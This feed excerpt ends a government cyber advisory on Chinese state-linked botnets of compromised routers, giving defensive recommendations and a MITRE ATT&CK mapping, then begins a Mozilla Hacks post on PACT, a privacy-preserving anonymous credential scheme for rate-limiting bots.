</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
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<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
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<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
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<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
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</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
